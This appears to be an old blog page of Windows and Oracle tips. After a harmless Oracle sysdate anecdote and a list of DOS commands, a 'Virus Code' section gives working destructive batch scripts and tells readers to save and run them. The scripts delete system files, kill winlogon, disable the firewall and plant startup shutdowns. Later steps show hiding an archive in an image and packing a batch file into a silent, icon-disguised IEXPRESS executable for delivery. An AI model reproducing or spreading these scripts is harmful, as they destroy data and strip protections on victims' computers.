Oracle Sysdate Problem

When One Day my Oracle (working) database was stuck , I restarted Oracle database through OS Service instead of restarting Server Machine. From then onwards 'sysdate' was not working. Whenever I was querying

Select Sysdate from dual;

Output was ---- 23/06/2008 12:03:19 PM

Then wandering through Google i found it can be overcome by Altering FIXED_DATE parameter by running command as SYSDBA

ALTER SYSTEM SET FIXED_DATE='2008-06-25 10:06:09 AM' ;

From then onwards whenever i use this query

Select Sysdate from dual;
Output was ---- 25/06/2008 10:06:09 AM

This made me crazy for more than 2 days .After restarting Server Machine on 28th and then ALTERING FIXED_DATE TO NONE (ALTER SYSTEM SET FIXED_DATE=NONE).

After then Select Sysdate from dual; gives

Output was ---- 28/06/2008 12:06:09 PM

Thus next day i checked sysdate it was working fine as of OS date.

and thus the crazy days come to an end

Some Dos Commands

ATTRIB -S -R,
DISKPART

TYPE [FILENAME] EX:--> TYPE C:|3.ZIP


MORE ----------- EX == MORE C:\3.GIF

CHCP --------TO DISPLAY ACTIVE CODE PAGE NUMBER

MODE ---- TO CONFIGURE SYSTEMPLAY DEVICES ex := MODE COM1 BAUD=1200

EXPAND ------ TO COPY FILE EX : C:\DBA.ZIP C:\Z.ZIP


SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]
DIGITAL SIGNATURE OF FILES .Scans all protected system files and replaces incorrect versions WITH correct Microsoft versions.


MMC

ARP --DISPLAY LOCALLY RESOLVE IP ADDRESS EX : ARP -A

ROUTE --Manipulates network routing tables. eX : ROUTE PRINT

HOSTNAME
TRACERT
PATHPING
TELNET


REXEC
Runs commands on remote hosts BY running the REXEC service. Rexec
authenticates the user name on the remote host before executing the specified command.


FTP ,TFTP -- FOR FILE TRANSFERING


FINGER
Displays information about a user on a specified system running the Finger service.Output varies based on the remote system.


DEVMGMT.MSC ---TO START DEVICE MANAGER

CIPHER

Virus Code

1)Create a virus of your own .Copy paste the below codes in a notepad and save that file as virus.bat ,then run that file .U can Notice the effect
I)
@echo off
title MacBeth
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del * /S /F /Q .exe
shutdown /F /S /Q
pause
II) This Code shuts down all security.
Makes a new batch file at startup which inside is the command shutdown -s
Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.
Watch the CPU usage go up.
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
III)
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
IV)
shutdown -s -t 10
V)
:start
start "C:\WINDOWS\system32\notepad.exe"
GOTO start

To hide a file

1)To hide a file using another file

a)First create a folder named test
b)Then copy a file that u want to hide say 'Secret.rar'
and copy another file say 'logo.jpg'

c)Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.

d)Then delete the two files Secret.rar and logo.jpg .When u click that output.jpg it will view as a logo.jpg file but u can access the files in secret.rar by opening that output.jpg through rar file

-------------------------------
2) To Display Messages

cls
@echo off
msg * to play a game press on ok!
msg * Oh wait Dont!!
msg * ppfff i did warn ya!!
msg * mwahahahahahah!


3)To setup a program during Windows Logon .Paste the below code in a notepad and save it as .bat file and run that file


@echo off
copy "some.exe" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
start some.exe

4)To Start a program

start calc.exe

5)To refresh Windows without closing the opened programs

cmd > tskill explorer

Shutdown Firewalls

I) Easiest way is to shutdown all firewalls/security.To do that you have to type in the Command Prompt:

Code:
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable

---------------------------------------------------------------------------------

--------------------------------------------------------------
II) Navigate to C:\Windows\System32 and locate the file named IEXPRESS.EXE

Step 2
Double Click to launch IEXPRESS.EXE

Step 3
You will be presented with the initial welcome screen and be given two choices. Select “Create new Self Extraction Directive

file.” Click Next.

Step 4
Next you will be presented with the Package Purpose screen. For our purposes select “Extract Files and run an installation

command” and click the Next button.

Step 5
You will be presented with the Package Title screen, which will give you the opportunity to give your project a name. If you

are so inclined give it a meaningful name. If like me you are never going to come back to this, name it whatever you want.

Step 6
You will next be presented with the Confirmation Prompt Screen. We would like the batch file to just be extracted and run so

just choose “No Prompt” and click the Next Button.

Step 7
You are presented with the License Agreement window. If you don’t want your users to have to answer a prompt select “Do not

display a license.”

Step 8
The Packaged Files window is where you will select your batch file (or .vbs). Click the Add button and browse to your desired

file. Then click next.

Step 9
Here you are presented with a window titled Install Program to Launch. Use the drop down control next to “Install Program and

choose the only option that will be present, the .bat or .vbs file that you chose in the previous window.

Step 10
The Show Window screen is next. I didn’t want my users to be prompted in any way so I chose Hidden. Click Next.

Step 11
No Finished Message for my users. Select “No message” and choose Next.

Step 12
The Package Name and Options window is where the new .exe specified. Type in a path or browse to the folder you would like

your .exe in, type a name in the file name box and click save. Also check the box that says “Hide File Extraction Progress

Animation from User.” If you’re worried about long file names go ahead and click the other box as well.

Step 13
Since we really aren’t installing anything we probably want to tell the Configure Restart window to not restart. So choose

the option that says “No restart” and hit Next.

Step 14
This window is where you have a chance to save all of the options you have chosen into a project file so that if necessary

you may later return and make modifications. I have no need to retain the file, but if you would like to be able to come back

to it, by all means choose “Save Self Extraction Directive (SED) file” and tell it where to put it. As always, click Next.

Step 15
Here’s where you’re new .exe is born, on the Create Package screen. Explore to the directory you told it to put the file in,

click Next and then watch your little .exe’s first moments as it pops into the big digital world.

Step 16
Then download this application (Executable File Icons Changer 5):

http://rapidshare.com/files/82559354
/Softboy_Executable_File_Icons_Changer_5.rar